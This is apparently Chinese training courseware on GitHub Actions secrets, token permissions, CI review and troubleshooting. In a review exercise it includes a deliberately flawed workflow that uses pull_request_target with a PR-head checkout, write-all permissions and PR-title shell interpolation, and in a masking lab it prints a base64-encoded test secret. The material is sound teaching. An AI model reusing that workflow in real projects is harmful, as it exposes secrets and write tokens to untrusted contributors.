旁白:先精确匹配 key,再按 restore-keys 前缀找最新的缓存。
画面:分支树:main 的储物柜对所有分支开放,兄弟分支之间有墙。
旁白:缓存有分支作用域。让 main 先生成缓存,新分支就能继承。
画面:快递箱贴上哈希封条,收件时封条不符就拒收;单个 HTML 文件不装箱直接寄出。
旁白:download v8 会校验哈希,upload v7 可以不打包直接上传单个文件。
模块 7 · secrets、variables 与 GITHUB_TOKEN 权限
- 区分仓库 / 环境 / 组织三级 secrets 与 variables,知道同名时的优先级和访问策略。
- 用
permissions:在 workflow/job 级声明最小权限,理解“写了任意一项,其余变为 none”的规则和仓库默认令牌权限设置。 - 解释 fork PR 中 secrets 不可用、令牌只读的原因;正确使用掩码和
::add-mask::,并知道掩码的局限。
What:secrets 与 variables
| secrets | variables | |
|---|---|---|
| 用途 | 密码、API Key、私钥等机密 | 非机密配置:区域、默认版本、功能开关 |
| 读取 | ${{ secrets.NAME }} | ${{ vars.NAME }} |
| 存储 | 使用 libsodium sealed box 在客户端加密后上传;写入后无法在界面查看 | 明文,有读权限即可看到 |
| 日志 | 自动掩码为 *** | 正常显示 |
| 层级与优先级 | 组织(可限定所有/私有/选定仓库)→ 仓库 → 环境;同名时环境 > 仓库 > 组织(最具体的胜出) | |
| 大小 | 单个最大 48 KB(更大的用加密文件 + 一个解密口令 secret) | 单个最大 48 KB |
| 命名 | 字母、数字、下划线;不能以 GITHUB_ 开头;不区分大小写 | |
环境(Environments)级的 secrets 只有在 job 声明 environment: production 并通过保护规则(审批、分支限制)后才会下发——这是部署凭据的推荐位置(第 3 课)。能用 OIDC 的云端凭据(Azure/AWS)就不要存长期密钥(第 3/4 课)。
GITHUB_TOKEN:每个 job 自动获得的令牌
- Actions 在每个 job 开始时签发一个 GitHub App 安装令牌,作用域仅限当前仓库,job 结束或最长 24 小时后失效。
- 权限来源(依次收紧):① 仓库/组织/企业的默认令牌权限设置(Settings → Actions → General → Workflow permissions:“Read and write permissions” 或 “Read repository contents and packages permissions”);② workflow 级
permissions:;③ job 级permissions:(覆盖 workflow 级);④ 事件限制(fork PR 最多只读)。 - 规则:只要写了任意一项权限,未写的全部变为
none(metadata 始终可读)。permissions: {}关闭全部;read-all/write-all是简写。 - 自 2023 年起,新建的企业/组织/个人仓库默认使用只读令牌;老仓库可能仍是读写,建议手动改为只读,再在 workflow 中按需提升。
- 同一设置页的 “Allow GitHub Actions to create and approve pull requests” 默认关闭;需要机器人开 PR 时才勾选。
常用权限范围
| scope | read 可以 | write 可以 |
|---|---|---|
contents | checkout、读取 release | 推送提交/标签、创建 release |
pull-requests | 读 PR | 评论、加标签、请求评审 |
issues | 读 issue | 创建/评论/关闭 issue |
packages | 拉取 GHCR 私有镜像 | 推送镜像到 GHCR |
actions | 读运行、跨运行下载制品 | 取消/重跑运行、删除缓存 |
checks / statuses | 读检查 | 创建检查运行/提交状态 |
id-token | — | (只有 write/none)请求 OIDC 令牌,云端登录必需 |
security-events | 读代码扫描告警 | 上传 SARIF |
| 其他 | attestations、artifact-metadata、deployments、discussions、pages、code-quality、copilot-requests、vulnerability-alerts(以 docs.github.com 列表为准) | |
Why:fork PR 为什么拿不到 secrets
fork PR 的 pull_request 运行执行的是外部作者的代码和 workflow 文件。如果把 secrets 下发给它,任何人开一个 PR 就能把机密打印或外传。所以 GitHub:除 GITHUB_TOKEN 外不向 fork 运行传递 secrets,且令牌最多只读;公有仓库首次贡献者的运行还可能需要维护者批准。Dependabot 触发的运行同样只能使用 Dependabot secrets、令牌只读。
How:掩码(masking)
- runner 会把 secrets 的值在日志中替换为
***;::add-mask::VALUE可以把运行时生成的值(如临时令牌)也加入掩码。 - 局限:只匹配完全相同的字符串。经过 base64、URL 编码、截断、或 JSON 结构化后的值不会被掩码;不要把多行 JSON 整体存成一个 secret 后再取字段打印。
- job outputs 中如含 secret 会被丢弃(日志提示 “Skip output … since it may contain secret”)。
- 掩码只是日志保护,不是访问控制:能修改 workflow 的人就能把 secret 发送到外部。保护 secrets 的根本是控制谁能改 workflow(分支保护、CODEOWNERS 管
.github/workflows/、环境审批)。
When:放在哪一级
| 内容 | 推荐位置 |
|---|---|
| 生产部署凭据 | 环境 secret(production,加审批);能用 OIDC 就不用 secret |
| 多个仓库共用的令牌(如通知 webhook) | 组织 secret,访问策略限定选定仓库 |
| 默认 Python 版本、区域、开关 | variables(仓库或组织) |
| 访问其他仓库 | GitHub App 安装令牌(如 actions/create-github-app-token)优于 PAT;必须用 PAT 时用细粒度 PAT 并设过期 |
contents: write,job 级再写 pull-requests: write 就会叠加”——job 级会覆盖而不是合并,此时 contents 变为 none。③ “GITHUB_TOKEN 推送的提交会触发 CI”——不会(模块 2)。④ “组织 secret 所有仓库都能用”——取决于访问策略,私有/选定仓库之外的仓库读到的是空字符串。GITHUB_TOKEN 的有效权限是如何算出来的
secrets 的下发路径
交互计算器:这个操作会不会 403?
设置仓库默认令牌权限、workflow/job 的 permissions 和触发事件,选择 step 要做的操作。计算器按图 7-1 的顺序算出有效权限,并预测 API 返回。
gh 管理 secrets 与 variables
| 命令 | 作用 |
|---|---|
gh secret set NAME | 交互输入(不留在 shell 历史);< file 从文件读取;--env production 环境级;--org ORG --visibility selected --repos a,b 组织级 |
gh secret list [--env E] [--org O] | 列出名称与更新时间(看不到值) |
gh secret delete NAME | 删除 |
gh variable set NAME --body VALUE | 设置变量(同样支持 --env / --org) |
gh variable get NAME / list | 读取变量 |
gh api repos/{owner}/{repo}/actions/permissions/workflow | 查看默认令牌权限设置 |
gh secret set DEMO_API_KEY # 粘贴值后回车
gh variable set PYTHON_DEFAULT --body 3.13
gh secret list; gh variable list
gh api repos/{owner}/{repo}/actions/permissions/workflow
✓ Set Actions secret DEMO_API_KEY for your-name/myapp
✓ Created variable PYTHON_DEFAULT for your-name/myapp
NAME UPDATED
DEMO_API_KEY less than a minute ago
NAME VALUE UPDATED
PYTHON_DEFAULT 3.13 less than a minute ago
{"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}
把默认令牌改为只读(老仓库)
gh api -X PUT repos/{owner}/{repo}/actions/permissions/workflow \
-f default_workflow_permissions=read -F can_approve_pull_request_reviews=false
在 workflow 中使用
permissions:
contents: read # workflow 级:最小默认
jobs:
comment:
if: github.event_name == 'pull_request'
runs-on: ubuntu-24.04
permissions: # job 级:整体覆盖,需要的都要写全
contents: read
pull-requests: write
steps:
- env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # 或 ${{ github.token }}
API_KEY: ${{ secrets.DEMO_API_KEY }}
run: |
TMP_TOKEN="tmp-$(openssl rand -hex 8)"
echo "::add-mask::$TMP_TOKEN"
echo "临时令牌:$TMP_TOKEN" # 日志显示 ***
test -n "$API_KEY" && echo "API_KEY 已提供" || echo "API_KEY 为空(fork PR?)"
gh pr comment ${{ github.event.pull_request.number }} --body "CI 已运行 ✅"
实验 7:收紧权限 + 复现并修复 403(约 7 分钟)
gh api repos/{owner}/{repo}/actions/permissions/workflow -q .default_workflow_permissions
若输出 write,用“命令”分页的 PUT 请求改为 read,或在 Settings → Actions → General → Workflow permissions 中修改。
name: PR comment
on: pull_request
permissions:
contents: read
jobs:
comment:
runs-on: ubuntu-24.04
steps:
- env:
GH_TOKEN: ${{ github.token }}
PR: ${{ github.event.pull_request.number }}
run: gh pr comment "$PR" --repo "$GITHUB_REPOSITORY" --body "CI 已运行 ✅"
git add .github/workflows/pr-comment.yml && git commit -m "ci: pr comment" && git push sleep 30; gh run view "$(gh run list --workflow pr-comment.yml --limit 1 --json databaseId -q '.[0].databaseId')" --log-failed | tail -5
comment Run gh pr comment … GraphQL: Resource not accessible by integration (addComment) comment Run gh pr comment … ##[error]Process completed with exit code 1.
“Resource not accessible by integration” 就是 GITHUB_TOKEN(一个 GitHub App 集成令牌)缺少权限的典型报错。再看 Set up job:GITHUB_TOKEN Permissions: Contents: read, Metadata: read。
pull-requests: write:
jobs:
comment:
runs-on: ubuntu-24.04
permissions:
pull-requests: write
git commit -am "ci: grant pull-requests: write to comment job" && git push gh pr view --comments | tail -3
github-actions • 0m • Newest comment CI 已运行 ✅
评论作者显示为 github-actions[bot]。注意这个 job 没有写 contents: read,因此 contents 为 none——它不需要 checkout,所以没问题。
gh secret set DEMO_API_KEY(输入任意测试值,如 demo-123456),在 expressions.yml 中加一步:
- env:
API_KEY: ${{ secrets.DEMO_API_KEY }}
run: |
echo "直接打印:$API_KEY"
echo "base64 后:$(printf %s "$API_KEY" | base64)"
echo "::add-mask::$(printf %s "$API_KEY" | base64)"
echo "加掩码后再打印:$(printf %s "$API_KEY" | base64)"
直接打印:*** base64 后:ZGVtby0xMjM0NTY= 加掩码后再打印:***
这就是“变换后的值不会被自动掩码”。实验完成后 gh secret delete DEMO_API_KEY。真实项目中不要这样打印 secret。
git rm 删除;把 PR 合并或保留到综合实验。案例 1:读写默认令牌 + 被篡改的第三方 Action
问题:2025 年 3 月 tj-actions/changed-files 的标签被改指向恶意提交(CVE-2025-30066),恶意代码把 runner 内存中的 secrets 打印到日志。使用读写默认令牌、且是公有仓库的项目,日志中的令牌被任何人可见。做法:所有仓库默认令牌改只读;workflow 写最小 permissions;按 SHA 固定第三方 Action;受影响仓库轮换所有 secrets 并审计日志。限制:GITHUB_TOKEN 在 job 结束后失效,但长期 secrets 必须轮换。
案例 2:job 级 permissions 覆盖导致 checkout 失败
问题:为了让 release job 创建 release,给它加了 permissions: { contents: write };另一个 job 加了 permissions: { packages: write } 后 checkout 报 “Repository not found”(私有仓库)。做法:理解“job 级整体覆盖”,在该 job 中同时写 contents: read 与 packages: write。限制:公有仓库中 contents: none 时 checkout 仍可能成功(匿名可读),问题会在私有仓库才暴露。
案例 3:组织 secret 在新仓库中为空
问题:新建仓库的部署一直报“认证失败”,日志中 secret 显示为空字符串(不报错)。做法:组织 secret 的访问策略是“选定仓库”,未包含新仓库;改为在 IaC 中管理访问列表;workflow 开头校验必需的 secrets 非空并 fail fast。限制:引用不存在的 secret 不会报错,只会得到空字符串。
常见错误与解决
HttpError: Resource not accessible by integration(HTTP 403)
原因:GITHUB_TOKEN 缺少所需权限;fork PR 中令牌只读;组织/企业把默认权限锁成只读;操作的是其他仓库(GITHUB_TOKEN 只限当前仓库)。
gh run view RUN_ID --log | grep -A12 "GITHUB_TOKEN Permissions"
修复:在 job 级加上对应 scope 的 write;跨仓库操作用 GitHub App 令牌;fork 场景改用 workflow_run 模式。
remote: Permission to owner/myapp.git denied to github-actions[bot]. fatal: unable to access … The requested URL returned error: 403
原因:推送需要 contents: write;分支受规则集保护,GITHUB_TOKEN 不在绕过名单中。
修复:授予 contents: write;受保护分支改为开 PR,或使用规则集允许绕过的 GitHub App。
Error: Input required and not supplied: token / secret 值为空
原因:secret 名称拼写错误、不在该环境/组织访问策略内、fork PR、Dependabot 运行。
修复:gh secret list 核对;Dependabot 需要单独设置 Dependabot secrets;在 step 中显式检查非空。
Error: Could not get ID token for authentication / ACTIONS_ID_TOKEN_REQUEST_URL is not set
原因:未授予 id-token: write(或 job 级 permissions 覆盖后遗漏)。
修复:在需要登录云端的 job 中写 permissions: { id-token: write, contents: read }(第 3/4 课)。
Skip output 'token' since it may contain secret.
原因:job outputs 中包含 secret 值,被 runner 丢弃。
修复:不要通过 outputs 传机密;下游 job 自己读取 secret 或重新获取临时令牌。
1. 从文件设置一个只供 production 环境使用的 secret。
gh secret set DEPLOY_KEY --env production < deploy_key.pem
2. 查看当前仓库默认 GITHUB_TOKEN 权限以及是否允许 Actions 批准 PR。
gh api repos/{owner}/{repo}/actions/permissions/workflow审计发现一个 workflow 写着 permissions: write-all,理由是“省得每次 403”。它在 pull_request 和 push 上运行,使用了 5 个第三方 Action。请给出整改方案。
风险:任一第三方 Action 被篡改或存在漏洞,都能用写权限令牌推代码、改 release、删分支保护外的内容。整改:① workflow 顶层 permissions: { contents: read };② 只给需要的 job 加具体 write(如评论 job 加 pull-requests: write);③ 第三方 Action 按 SHA 固定并定期审查(第 5 课);④ 仓库默认令牌改只读;⑤ 用 Set up job 日志验证每个 job 的实际权限;⑥ CODEOWNERS 保护 .github/workflows/。
经核实的教学视频
GITHUB_TOKEN 最小权限未找到经核实的专题视频,请以官方文档为准。
官方文档
视频分镜脚本(约 90 秒)
本课件无法直接生成视频/MP3,已提供分镜和讲解稿,可交给视频工具生成。
画面:三层保险柜(组织、仓库、环境),同名钥匙从最下层的环境柜取出。
旁白:secrets 有三层,同名时最具体的环境级胜出。配置用 variables,机密用 secrets。
画面:一张通行证从“读写”被逐层盖章收紧到“只读 + PR 写”。
旁白:GITHUB_TOKEN 的权限从默认设置开始,被 workflow 和 job 的 permissions 逐层收紧。写了一项,其余就是 none。
画面:fork PR 敲门,门卫只递出一张只读通行证,保险柜保持锁定。
旁白:fork 的代码不可信,所以拿不到 secrets,令牌最多只读。
画面:日志里密码变成三个星号,但 base64 后的字符串仍然可见,直到加上 add-mask。
旁白:掩码只认原样的字符串。变换后的值要手动 add-mask,最好根本不要打印。
模块 8 · CI 就绪评审与常见失败
- 用 12 项 CI 就绪清单评审一个 workflow(触发、权限、超时、并发、缓存、制品、固定版本、安全输入、必需检查等)。
- 按症状快速定位 9 类常见失败:不触发、YAML 无效、403、缓存不命中、制品找不到、超时、被并发取消、等待 runner、必需检查卡在 Expected。
- 会开启调试日志、只重跑失败 job,并用规则集把汇总检查设为 PR 必需检查。
What:CI 就绪评审清单(12 项)
| # | 检查项 | 为什么 | 对应模块 |
|---|---|---|---|
| 1 | PR 与主干都会触发;paths 过滤不会让必需检查“失踪” | 门禁必须稳定报告状态 | M2 |
| 2 | 顶层 permissions 为最小(通常 contents: read),写权限只在需要的 job | 降低被篡改 Action 或注入的破坏面 | M7 |
| 3 | 每个 job 有 timeout-minutes | 防止卡死烧掉 6 小时 | M3 |
| 4 | PR 运行有 concurrency + cancel-in-progress | 节省分钟,结果只看最新提交 | M5 |
| 5 | 依赖有缓存,key 包含锁文件哈希 | 快且正确 | M6 |
| 6 | 测试报告/产物用制品上传,设置 retention-days | 可追溯且控制成本 | M6 |
| 7 | runner 写具体版本(如 ubuntu-24.04) | 避免 -latest 迁移带来的意外 | M1 |
| 8 | 第三方 Action 固定版本(最好是 SHA) | 供应链安全 | M1 / 第 5 课 |
| 9 | 不可信输入经 env 传入 run,不用 pull_request_target 执行 PR 代码 | 防脚本注入与 pwn request | M2 / M4 |
| 10 | 集成测试使用服务容器并有健康检查 | 避免偶发失败 | M3 |
| 11 | 有一个稳定名称的汇总 job 作为必需检查 | matrix 变化不影响规则集 | M5 / M8 |
| 12 | workflow 文件受 CODEOWNERS/规则集保护 | 谁能改 workflow,谁就能拿到 secrets | 第 1 课 / M7 |
Why:失败分类——先判断“发生在哪一层”
| 层 | 症状 | 典型原因 | 第一步 |
|---|---|---|---|
| 触发层 | Actions 页面没有记录 | 路径、YAML、过滤器、GITHUB_TOKEN 事件、[skip ci]、Actions 被禁用 | 看 Actions 页面顶部的错误条、gh workflow list --all |
| 调度层 | Queued / Waiting for a runner | 标签错误、并发上限、分钟/预算耗尽、concurrency pending | gh run view --json jobs 看 labels 与状态 |
| Set up 层 | Set up job 失败 | Action 版本不存在、私有 Action 未授权、服务容器拉取失败 | 展开 Set up job / Initialize containers |
| 执行层 | 某个 step 红 | 代码/测试失败、403、缓存未命中导致超时、制品找不到 | gh run view --log-failed |
| 门禁层 | 检查全绿但不能合并 / 显示 Expected | 必需检查名称不匹配、被 paths 过滤、job 被 skipped | 对比规则集中的名称与 PR 检查名称 |
How:调试工具
- 只重跑失败的 job:
gh run rerun RUN_ID --failed;重跑使用原运行的提交与 workflow 文件,修改 workflow 后需要新的推送。 - 调试日志:重跑时勾选 “Enable debug logging”(或
--debug);也可以设置仓库 secret 或 variableACTIONS_STEP_DEBUG=true(step 调试日志)与ACTIONS_RUNNER_DEBUG=true(runner 诊断日志)。 - 注释与摘要:
::error file=app.py,line=10::msg在 PR 文件视图中标注;$GITHUB_STEP_SUMMARY写 Markdown 摘要。 - 本地预检:actionlint 校验语法与表达式;在 Docker 中复现 runner 环境(同一
python:3.13版本)。
When:何时把检查设为必需
当 CI 稳定(误报率低、时长可接受)后,在规则集中加 “Require status checks to pass” 并选择汇总 job(如 ci-ok)。个人 Free 账号的公有仓库可以使用规则集;私有仓库强制规则集需要 Pro/Team 及以上(详见第 1 课)。
if 跳过的检查报告为 skipped,规则集视为通过;而被 paths 过滤导致根本没有运行的 workflow 不会报告任何状态,PR 会一直等待。③ “ACTIONS_STEP_DEBUG 只能用 secret 设置”——现在 secret 或 variable 都可以。失败定位流程
汇总 job 作为稳定的必需检查
交互评审器:给这个 workflow 打分
下面是一个“看起来能用”的 workflow。勾选你认为它已经满足的清单项,点击“评审”查看标准答案、得分与修改建议;再点“显示修正版”对比。
name: CI
on: [push, pull_request_target]
permissions: write-all
jobs:
test:
runs-on: ubuntu-latest
strategy:
matrix:
python: [3.10, 3.13]
steps:
- uses: actions/checkout@v7
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: some-org/setup-env@main
- uses: actions/setup-python@v7
with: { python-version: ${{ matrix.python }} }
- run: pip install -r requirements-dev.txt
- run: echo "Testing ${{ github.event.pull_request.title }}"
- run: pytest
- uses: actions/upload-artifact@v7
with: { name: report, path: report.xml }
排障命令速览
| 命令 | 用途 |
|---|---|
gh run list --status failure --limit 10 | 最近失败的运行 |
gh run view RUN_ID --log-failed | 只看失败步骤日志 |
gh run view RUN_ID --json jobs -q '.jobs[] | {name,status,conclusion,labels}' | 每个 job 的状态与 runner 标签 |
gh run rerun RUN_ID --failed --debug | 带调试日志只重跑失败 job |
gh run cancel RUN_ID | 取消运行 |
gh variable set ACTIONS_STEP_DEBUG --body true | 为后续所有运行开启 step 调试日志(排查完记得删除) |
gh pr checks --required | 只看必需检查 |
gh api repos/{owner}/{repo}/rules/branches/main | 查看 main 上生效的规则(含必需检查) |
gh api repos/{owner}/{repo}/actions/workflows -q '.workflows[] | [.name,.path,.state] | @tsv' | workflow 是否被识别、是否被禁用 |
gh run list --status failure --limit 3 gh run view "$(gh run list --status failure --limit 1 --json databaseId -q '.[0].databaseId')" --log-failed | tail -20 gh pr checks --required
STATUS TITLE WORKFLOW BRANCH EVENT ID … X ci: pr comment PR comment feat/hello pull_request 18234590001 … comment Run gh pr comment … GraphQL: Resource not accessible by integration (addComment) ci-ok pass 4s https://github.com/your-name/myapp/actions/runs/…
汇总 job(ci-ok)
ci-ok:
if: always()
needs: [lint, unit, integration, build-image]
runs-on: ubuntu-24.04
timeout-minutes: 5
steps:
- name: 检查所有依赖 job 的结果
env:
RESULTS: ${{ join(needs.*.result, ' ') }}
run: |
echo "results: $RESULTS"
for r in $RESULTS; do
case "$r" in success|skipped) ;; *) echo "::error::有 job 结果为 $r"; exit 1;; esac
done
needs.*.result 用对象过滤器取出所有依赖 job 的结果。是否把 skipped 视为通过取决于你的设计:如果某些 job 会被 if 合法跳过就允许,否则只接受 success。
实验 8:汇总检查 + 设为必需检查(约 7 分钟)
needs),推送到 PR 分支并确认 PR 上出现 CI / ci-ok 检查。{
"name": "main-ci-gate",
"target": "branch",
"enforcement": "active",
"conditions": { "ref_name": { "include": ["~DEFAULT_BRANCH"], "exclude": [] } },
"rules": [
{ "type": "pull_request",
"parameters": {
"required_approving_review_count": 0,
"dismiss_stale_reviews_on_push": false,
"require_code_owner_review": false,
"require_last_push_approval": false,
"required_review_thread_resolution": false } },
{ "type": "required_status_checks",
"parameters": {
"strict_required_status_checks_policy": false,
"required_status_checks": [ { "context": "ci-ok", "integration_id": 15368 } ] } }
]
}
gh api -X POST repos/{owner}/{repo}/rulesets --input ruleset-ci.json -q '{id, name, enforcement}'
gh api repos/{owner}/{repo}/rules/branches/main -q '.[] | .type'
{"enforcement":"active","id":4123456,"name":"main-ci-gate"}
pull_request
required_status_checks
也可以在 Settings → Rules → Rulesets 中图形化创建。检查名称要与 PR 上显示的 job 名(ci-ok)完全一致。必需审批数设为 0 是为了单人练习;团队仓库至少设为 1(第 1 课)。
/healthz 返回值改成 "okay"),推送:
sed -i 's/status="ok"/status="okay"/' app.py && git commit -am "test: break healthz" && git push gh pr checks --required --watch gh pr merge --squash
X ci-ok fail X Pull request your-name/myapp#7 is not mergeable: the base branch policy prohibits the merge.
恢复:git revert --no-edit HEAD && git push,等待 ci-ok 通过后 gh pr merge --squash --delete-branch。
案例 1:必需检查卡在 “Expected — Waiting for status to be reported”
问题:只改文档的 PR 无法合并。原因:CI 有 paths-ignore: ['**.md'],workflow 没有运行,必需检查 ci-ok 永远不会报告。做法:去掉 workflow 级 paths 过滤,改为在 job 内判断变更(dorny/paths-filter v4.0.3),重步骤用 if 跳过,ci-ok 始终运行。限制:每个 PR 至少消耗一次轻量运行的分钟数。
案例 2:“只在 CI 失败,本地通过”
问题:测试依赖本机时区与已安装的系统字体,CI 上失败。做法:在 CI 中打印环境(python -VV、locale、TZ);用 container: python:3.13-slim 让本地与 CI 使用同一镜像复现;测试中显式设置时区。限制:容器内没有 runner 预装工具,需要自行安装。
案例 3:周一早上大量 workflow 超时
问题:runner 镜像周更后 pip 依赖解析变慢,加上缓存一周未访问被淘汰,冷启动安装超过 timeout-minutes。做法:对比 Set up job 中镜像版本;确认 “Cache not found”;为 main 设置每日定时运行保持缓存热度;把依赖锁定到完整版本减少解析时间。限制:缓存是尽力而为的,timeout 要考虑冷缓存的情况。
常见失败速查
workflow 不触发(Actions 页面没有任何记录)
按顺序检查:文件在 .github/workflows/;YAML 有效;on 包含该事件与 activity type;branches/paths/tags 匹配;不是 GITHUB_TOKEN 触发;提交信息没有 [skip ci];workflow_dispatch/schedule/workflow_run 的文件在默认分支;仓库/组织允许 Actions;workflow 未被禁用。
Invalid workflow file: .github/workflows/ci.yml#L12 — You have an error in your yaml syntax on line 12
常见:Tab 缩进、冒号后缺空格、if: !…、未加引号的 * 开头 glob、${{ 未闭合。用 actionlint 本地检查。
Resource not accessible by integration(403)
见模块 7:看 Set up job 的 GITHUB_TOKEN Permissions,job 级补齐权限;fork PR 用 workflow_run 模式。
Cache not found for input keys(每次都冷启动)
见模块 6:key 是否含变化值、分支作用域、job 失败未保存、7 天淘汰。
Unable to download artifact(s): Artifact not found for name
见模块 6:needs 依赖、name 一致、跨运行需 run-id + token + actions: read、过期。
The job running on runner … has exceeded the maximum execution time of N minutes.
见模块 3:定位最后输出的 step,网络操作加超时,冷缓存场景留余量。
Canceling since a higher priority waiting request for '…' exists
见模块 5:concurrency 组过宽或多个 workflow 共用组名。
交互式排障决策树:GitHub Actions 常见失败
覆盖不触发、YAML 错误、排队、Set up 失败、403、缓存、制品、超时、取消、必需检查十类症状,选择你看到的现象逐步定位。
1. 对最近一次失败的运行,带调试日志只重跑失败的 job。
gh run rerun "$(gh run list --status failure --limit 1 --json databaseId -q '.[0].databaseId')" --failed --debug
2. 查看 main 分支上生效的所有规则类型。
gh api repos/{owner}/{repo}/rules/branches/main -q '.[].type'你修改了 ci.yml 修复一个 bug,然后在 Actions 页面点了失败运行的 “Re-run failed jobs”,结果还是失败,而且日志显示旧的命令。为什么?
重跑使用的是原运行对应的提交(及其中的 workflow 文件)和事件负载,不会采用之后推送的修改。应推送新提交(或对 PR 分支推送),让新的运行使用修复后的 workflow;workflow_dispatch 则重新触发一次新运行。
经核实的教学视频
官方文档
- Enabling debug logging
- Re-running workflows and jobs
- Available rules for rulesets(Require status checks)
- Troubleshooting workflows
视频分镜脚本(约 90 秒)
本课件无法直接生成视频/MP3,已提供分镜和讲解稿,可交给视频工具生成。
画面:一张 12 项清单,逐项打勾,红叉处闪烁。
旁白:评审 workflow 先看三件事:权限、超时、触发是否稳定。
画面:故障分层图:触发、调度、准备、执行、门禁五层,箭头指向“没有记录”层。
旁白:先判断问题出在哪一层。没有运行记录就是触发层,一直排队就是调度层。
画面:终端输入 gh run view --log-failed,红色的 Resource not accessible by integration 被放大。
旁白:只看失败日志,403 就去 Set up job 查实际令牌权限。
画面:多个检查汇入 ci-ok,规则集锁住合并按钮,ci-ok 变绿后锁打开。
旁白:用一个汇总检查做必需检查,CI 就成了真正的合并门禁。
命令速查表
观察与调试运行
gh workflow list --all
gh run list --workflow ci.yml --limit 10
gh run list --status failure --branch main
gh run watch RUN_ID --exit-status
gh run view RUN_ID --log-failed
gh run view RUN_ID --json jobs -q '.jobs[] | {name,conclusion,labels}'
gh run rerun RUN_ID --failed --debug
gh run cancel RUN_ID
gh pr checks --watch --required触发
gh workflow run ci.yml --ref main -f dry_run=false
gh workflow enable nightly.yml
gh api repos/{owner}/{repo}/dispatches \
-f event_type=cms-updated -F 'client_payload[page]=home'
git commit -m "docs: typo [skip ci]" # 跳过 push/PR 运行secrets / variables / 权限
gh secret set NAME # 交互输入
gh secret set NAME --env production < file
gh secret set NAME --org ORG --visibility selected --repos myapp
gh secret list; gh secret delete NAME
gh variable set NAME --body VALUE
gh api repos/{owner}/{repo}/actions/permissions/workflow
gh api -X PUT repos/{owner}/{repo}/actions/permissions/workflow \
-f default_workflow_permissions=read缓存与制品
gh cache list --sort last_accessed_at
gh cache delete KEY ; gh cache delete --all
gh api repos/{owner}/{repo}/actions/cache/usage
gh run download RUN_ID -n wheel -D dist
gh run download RUN_ID -p 'pytest-report-*' -D reports
gh api repos/{owner}/{repo}/actions/artifacts \
-q '.artifacts[] | [.name,.size_in_bytes,.expires_at] | @tsv'workflow 语法骨架
name: CI
run-name: "CI · ${{ github.event_name }} · ${{ github.ref_name }}"
on:
push: { branches: [main], tags: ['v*'] }
pull_request: { branches: [main] }
workflow_dispatch:
inputs: { dry_run: { type: boolean, default: true } }
schedule: [ { cron: '17 6 * * *', timezone: "America/Toronto" } ]
permissions: { contents: read }
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
defaults: { run: { shell: bash } }
jobs:
test:
runs-on: ${{ matrix.os }}
timeout-minutes: 15
strategy:
fail-fast: false
matrix: { os: [ubuntu-24.04], python: ["3.12", "3.13", "3.14"] }
services:
redis: { image: "redis:8", ports: ['6379:6379'], options: '--health-cmd "redis-cli ping" --health-interval 5s --health-retries 10' }
env: { REDIS_HOST: localhost }
outputs: { ver: "${{ steps.v.outputs.ver }}" }
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "${{ matrix.python }}", cache: pip }
- id: v
run: echo "ver=${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
- run: pip install -r requirements-dev.txt && pytest --junitxml=report.xml
- uses: actions/upload-artifact@v7
if: ${{ !cancelled() }}
with: { name: "report-${{ matrix.python }}", path: report.xml, retention-days: 7 }
表达式速记
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
if: startsWith(github.ref, 'refs/tags/v')
if: ${{ !cancelled() }} # 上传报告
if: failure() # 失败通知
if: always() # 必须执行的清理
if: contains(github.event.pull_request.labels.*.name, 'e2e')
env: { TARGET: "${{ github.ref == 'refs/heads/main' && 'prod' || 'dev' }}" }
matrix: ${{ fromJSON(needs.plan.outputs.matrix) }}
key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }}
env: { TITLE: "${{ github.event.pull_request.title }}" } # 不可信输入走 env环境文件与工作流命令
echo "name=value" >> "$GITHUB_OUTPUT" # step 输出 echo "VAR=value" >> "$GITHUB_ENV" # 后续 step 环境变量 echo "$HOME/.local/bin" >> "$GITHUB_PATH" # 追加 PATH echo "## 摘要" >> "$GITHUB_STEP_SUMMARY" # 运行摘要 echo "::add-mask::$TOKEN" # 掩码 echo "::error file=app.py,line=3::msg" # 注释 echo "::group::安装依赖" ; … ; echo "::endgroup::"
关键数字(2026-11 核实)
| 项目 | 值 |
|---|---|
| job 默认超时 | 360 分钟;托管 runner 每个 job 最长 6 小时;自托管 5 天 |
| matrix 上限 | 每次运行最多 256 个 job |
| job outputs | 每个 job 最多 1 MB,每次运行合计 50 MB |
| 缓存 | 默认每仓库 10 GB;7 天未访问删除;上传 200 次/分钟、下载 1,500 次/分钟(每仓库) |
| 制品保留 | 默认 90 天;可设公有 1–90 天、私有 1–400 天 |
| schedule | 最短 5 分钟;默认 UTC,可设 timezone;公有仓库 60 天无活动自动禁用 |
| concurrency queue: max | 最多 100 个 pending;不可与 cancel-in-progress: true 共用 |
| repository_dispatch | client_payload 最多 10 个顶层属性、65,535 字符 |
| 托管 runner 排队 | 45 分钟内无 runner 处理则丢弃 |
综合实验 + 结业测验
myapp 中完成。cd ~/myapp && git switch main && git pull --ff-only
git switch -c ci/full-pipeline
ls app.py tests/ requirements*.txt pyproject.toml Dockerfile
gh api repos/{owner}/{repo}/actions/permissions/workflow -q .default_workflow_permissions # 期望 readname: CI
run-name: "CI · ${{ github.event_name }} · ${{ github.head_ref || github.ref_name }}"
on:
push:
branches: [main]
pull_request:
branches: [main]
workflow_dispatch:
permissions:
contents: read
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
defaults:
run:
shell: bash
jobs:
lint:
runs-on: ubuntu-24.04
timeout-minutes: 5
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with:
python-version: "3.13"
cache: pip
cache-dependency-path: requirements*.txt
- run: pip install -r requirements-dev.txt
- run: ruff check --output-format=github .
test:
name: test (py${{ matrix.python }})
needs: lint
runs-on: ubuntu-24.04
timeout-minutes: 10
strategy:
fail-fast: false
matrix:
python: ["3.12", "3.13", "3.14"]
services:
redis:
image: redis:8
ports: ['6379:6379']
options: >-
--health-cmd "redis-cli ping"
--health-interval 5s --health-timeout 3s --health-retries 10
env:
REDIS_HOST: localhost
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with:
